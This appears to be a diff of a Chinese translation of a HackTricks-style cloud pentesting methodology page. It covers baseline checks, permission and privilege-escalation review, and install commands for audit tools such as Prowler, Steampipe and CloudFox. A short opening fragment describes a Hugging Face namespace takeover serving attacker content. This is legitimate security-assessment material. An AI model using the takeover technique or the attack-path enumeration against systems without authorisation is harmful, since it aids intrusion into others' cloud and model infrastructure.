- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
|
||||
- 已删除的作者:作者页面返回404;遗留模型路径在被接管前返回404。
|
||||
- 已转移的模型:在旧作者仍存在时,遗留路径以307重定向到新作者;如果旧作者随后被删除并重新注册,遗留路径将提供攻击者的内容。
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
|
||||
@@ -4,37 +4,37 @@
|
||||
|
||||
<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 基本方法
|
||||
## 基本方法论
|
||||
|
||||
每个 cloud 都有其特殊性,但一般来说在测试 cloud 环境时,有一些 **pentester 应该检查的常见事项**:
|
||||
每个云都有其特殊性,但一般来说,当在测试云环境时,pentester 应该检查以下几项常见内容:
|
||||
|
||||
- **基准检查**
|
||||
- 这将帮助你 **了解环境的规模** 以及 **所使用的服务**
|
||||
- 这也能让你发现一些 **快速的错误配置**,因为你可以用 **自动化工具** 执行大部分这些测试
|
||||
- 这将帮助你 **了解环境的规模** 和 **使用的服务**
|
||||
- 这也能让你发现一些 **快速的配置错误**,因为你可以使用 **自动化工具** 执行大部分这些测试
|
||||
- **服务枚举**
|
||||
- 如果你正确执行了基准测试,这里可能不会发现更多的错误配置,但你可能会发现一些基准测试中没有覆盖到的情况。
|
||||
- 这将让你知道在 cloud 环境中 **到底在使用什么**
|
||||
- 这对后续步骤会有很大帮助
|
||||
- 如果你已正确执行基准测试,这里可能不会发现更多的配置错误,但你可能会发现一些基准测试中未被关注的问题。
|
||||
- 这会让你知道云环境中 **究竟在使用什么**
|
||||
- 这将大大有助于后续步骤
|
||||
- **检查暴露的资产**
|
||||
- 这可以在上一节中完成,你需要 **找出所有可能以某种方式暴露给 Internet 的资源**,以及如何访问它们。
|
||||
- 这里我指的是诸如带有网页的实例或暴露了其他端口的手动暴露基础设施,以及其他可配置为暴露的云托管服务(例如 DBs 或 buckets)
|
||||
- 然后你应该检查 **该资源是否可以被暴露**(机密信息?漏洞?被暴露服务的错误配置?)
|
||||
- 这可以在前一部分中完成,你需要 **找出所有可能以某种方式暴露给互联网的内容** 以及如何访问它们。
|
||||
- 这里我指的是 **手动暴露的基础设施**,比如具有网页或其他端口暴露的实例,以及其他可以配置成暴露的 **云托管服务**(例如 DBs 或 buckets)
|
||||
- 然后你应该检查 **该资源是否可能被暴露**(机密信息?漏洞?暴露服务的配置错误?)
|
||||
- **检查权限**
|
||||
- 在此你应 **查明 cloud 内每个角色/用户的所有权限** 以及它们如何被使用
|
||||
- 是否存在过多 **高度权限**(控制一切)的账户?生成的密钥未使用?……大多数这些检查本应已在基准测试中完成
|
||||
- 如果客户使用 OpenID、SAML 或其他 **federation**,你可能需要向他们询问关于 **每个角色如何被分配** 的进一步 **信息**(将 admin 角色分配给 1 个用户与分配给 100 个用户并不相同)
|
||||
- 仅仅找出哪些用户拥有 **admin** 权限 "*:*" 是不够的。还有许多 **其他权限**,根据所用服务可能非常 **敏感**。
|
||||
- 此外,存在滥用权限的 **潜在 privesc** 路径。所有这些都应被考虑在内,并应尽可能报告 **尽量多的 privesc 路径**。
|
||||
- 在这里你应该 **找出云中每个角色/用户的所有权限** 以及这些权限如何被使用
|
||||
- 是否存在过多的 **高权限**(能控制一切)的账户?生成的密钥未被使用?……大多数这些检查应该已在基准测试中完成
|
||||
- 如果客户使用 OpenID、SAML 或其他 **federation**,你可能需要向他们询问更多关于 **每个角色如何被分配** 的 **信息**(将 admin 角色分配给 1 个用户或 100 个用户并不相同)
|
||||
- 仅仅找到哪些用户具有 **admin** 权限 "*:*" 是 **不够的**。还有很多 **其他权限**,根据所使用的服务,这些权限可能非常 **敏感**。
|
||||
- 此外,存在滥用权限的 **潜在 privesc** 路径。所有这些事项都应被考虑,并应报告 **尽可能多的 privesc 路径**。
|
||||
- **检查集成**
|
||||
- 很有可能在该 cloud 环境中使用了与其他云或 SaaS 的 **集成**。
|
||||
- 对于你正在审计的 cloud 与其他平台之间的 **integrations**,你应告知 **谁有权访问以(滥)用该集成**,并应询问该操作的 **敏感程度**。\
|
||||
例如,谁能在一个 AWS bucket 写入数据,而 GCP 正从该 bucket 获取数据(询问在 GCP 处理该数据时该操作有多敏感)。
|
||||
- 对于来自外部平台的、在你审计的 cloud 内的 **integrations**,你应询问 **谁在外部有权限访问以(滥)用该集成**,并检查该数据如何被使用。\
|
||||
例如,如果某服务使用托管在 GCR 的 Docker 镜像,你应询问谁有权限修改该镜像,以及该镜像在在 AWS cloud 内执行时将会获得哪些敏感信息和访问权限。
|
||||
- 很可能在云环境中使用了 **与其他云或 SaaS 的集成**。
|
||||
- 对于 **被你审计的云** 与其他平台的集成,你应当通知 **谁有权访问(滥用)该集成**,并询问该操作有多敏感。\
|
||||
例如,谁能向一个 AWS bucket 写入数据,而 GCP 又从该 bucket 获取数据(要询问在 GCP 中处理这些数据的操作有多敏感)。
|
||||
- 对于 **来自外部平台到你正在审计的云** 的集成,你应当询问 **谁能在外部访问并(滥用)该集成**,并检查这些数据如何被使用。\
|
||||
例如,如果某个服务使用托管在 GCR 的 Docker 镜像,你应当询问谁有权修改该镜像,以及当该镜像在 AWS 云中执行时会获得哪些敏感信息和访问权限。
|
||||
|
||||
## 多云工具
|
||||
|
||||
有若干工具可用于测试不同的 cloud 环境。本节将指明安装步骤和链接。
|
||||
有若干工具可用于测试不同的云环境。本节将指出安装步骤和链接。
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
它支持 **AWS、GCP 和 Azure**。请查看 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) 了解如何为每个提供商配置。
|
||||
它支持 **AWS, GCP & Azure**。查看如何为每个提供商配置,请参阅 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -146,7 +146,7 @@ done
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
下载并安装 Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads))。或者使用 Brew:
|
||||
下载并安装 Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads))。或者使用 Brew:
|
||||
```
|
||||
brew tap turbot/tap
|
||||
brew install steampipe
|
||||
@@ -170,9 +170,7 @@ steampipe check all
|
||||
|
||||
<summary>检查所有项目</summary>
|
||||
|
||||
要检查所有项目,您需要生成 `gcp.spc` 文件来列出要测试的所有项目。您可以按照下面脚本中的说明进行操作。
|
||||
|
||||
</details>
|
||||
要检查所有项目,您需要生成一个名为 `gcp.spc` 的文件,指明要测试的所有项目。您可以按照下面脚本中的说明操作。
|
||||
```bash
|
||||
FILEPATH="/tmp/gcp.spc"
|
||||
rm -rf "$FILEPATH" 2>/dev/null
|
||||
@@ -196,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
要查看 **其他 GCP insights**(对枚举服务有用)请使用: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
要查看 **其他 GCP insights**(对枚举服务有用),请使用: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
要查看 Terraform GCP 代码: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
要查看 Terraform GCP 代码: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
更多 Steampipe 的 GCP 插件: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
更多 Steampipe 的 GCP 插件: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AWS" }}
|
||||
@@ -227,24 +225,24 @@ cd steampipe-mod-aws-compliance
|
||||
steampipe dashboard # To see results in browser
|
||||
steampipe check all --export=/tmp/output4.json
|
||||
```
|
||||
检查 Terraform AWS 代码: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
|
||||
更多 Steampipe 的 AWS 插件: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
|
||||
|
||||
AWS, GCP, Azure, DigitalOcean.\
|
||||
需要 python2.7,且似乎已不再维护。
|
||||
需要 python2.7,并且看起来未维护。
|
||||
|
||||
### Nessus
|
||||
|
||||
Nessus 有一个 _**Audit Cloud Infrastructure**_ 扫描,支持:AWS, Azure, Office 365, Rackspace, Salesforce。对于 **Azure** 需要一些额外配置以获取 **Client Id**。
|
||||
Nessus 提供一个 _**Audit Cloud Infrastructure**_ 扫描,支持:AWS、Azure、Office 365、Rackspace、Salesforce。 在 **Azure** 中需要一些额外的配置以获取 **Client Id**。
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
Cloudlist 是一个 **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers。
|
||||
Cloudlist 是一个 **多云工具,用于从云提供商获取资产**(主机名、IP 地址)。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Cloudlist" }}
|
||||
@@ -267,7 +265,7 @@ cloudlist -config </path/to/config>
|
||||
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Cartography 是一个 Python 工具,用于汇总基础设施资产及它们之间的关系,并以由 Neo4j 数据库驱动的直观图形视图展示。
|
||||
Cartography 是一个 Python 工具,用于整合基础设施资产及其之间的关系,并以由 Neo4j 数据库驱动的直观图形视图呈现。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -304,7 +302,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
Starbase 将来自服务和系统的资产与关系(包括云基础设施、SaaS 应用、安全控制等)收集到由 Neo4j 数据库支撑的直观图形视图中。
|
||||
Starbase 从各种服务和系统收集资产及其关系,包括云基础设施、SaaS 应用、安全控制等,并将它们以由 Neo4j 数据库支持的直观图形视图呈现。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -363,7 +361,7 @@ uri: bolt://localhost:7687
|
||||
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
发现已扫描的 AWS 或 Azure 环境中权限最高的用户,包括 AWS Shadow Admins。它使用 powershell。
|
||||
发现扫描的 AWS 或 Azure 环境中权限最高的用户,包括 AWS Shadow Admins。它使用 powershell。
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
@@ -374,15 +372,15 @@ Scan-AzureAdmins
|
||||
```
|
||||
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
|
||||
|
||||
一个用于在主要云提供商(Amazon、Google、Microsoft、DigitalOcean、Alibaba、Vultr、Linode)上发现公司(目标)基础设施、文件和应用的工具。
|
||||
一个用于在主要云提供商(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode)上发现公司(目标)基础设施、文件和应用的工具。
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFox 是一个用于发现云基础设施中可利用的攻击路径的工具(目前仅支持 AWS & Azure,GCP 即将支持)。
|
||||
- 它是一个枚举工具,旨在补充人工 pentesting。
|
||||
- CloudFox 是一个用于在云基础设施中查找可利用攻击路径的工具(当前仅支持 AWS & Azure,GCP 即将支持)。
|
||||
- 它是一个枚举工具,旨在补充手动 pentesting。
|
||||
- 它不会在云环境中创建或修改任何数据。
|
||||
|
||||
### 更多云安全工具列表
|
||||
### More lists of cloud security tools
|
||||
|
||||
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
|
||||
|
||||
@@ -414,10 +412,10 @@ azure-security/
|
||||
|
||||
### 攻击图
|
||||
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter)在 Azure 订阅中为资源创建“攻击图”。它使 red teams 和 pentesters 能够可视化租户内的攻击面和横向移动机会,并帮助你的防守方快速定位并优先处理事件响应工作。
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) 会为 Azure 订阅中的资源创建“攻击图”。它使 red teams 和 pentesters 能够可视化租户内的攻击面和 pivot 机会,并帮助你的 defenders 快速定位并优先安排 incident response 工作。
|
||||
|
||||
### Office365
|
||||
|
||||
你需要 **Global Admin** 或至少 **Global Admin Reader**(注意 Global Admin Reader 有一些限制)。不过,这些限制会在某些 PS 模块中出现,并且可以通过 **通过 web 应用程序** 访问功能来绕过。
|
||||
你需要 **Global Admin** 或至少 **Global Admin Reader**(但请注意 Global Admin Reader 有些限制)。然而,这些限制会出现在某些 PS 模块中,但可以通过 **web 应用** 访问这些功能来绕过。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user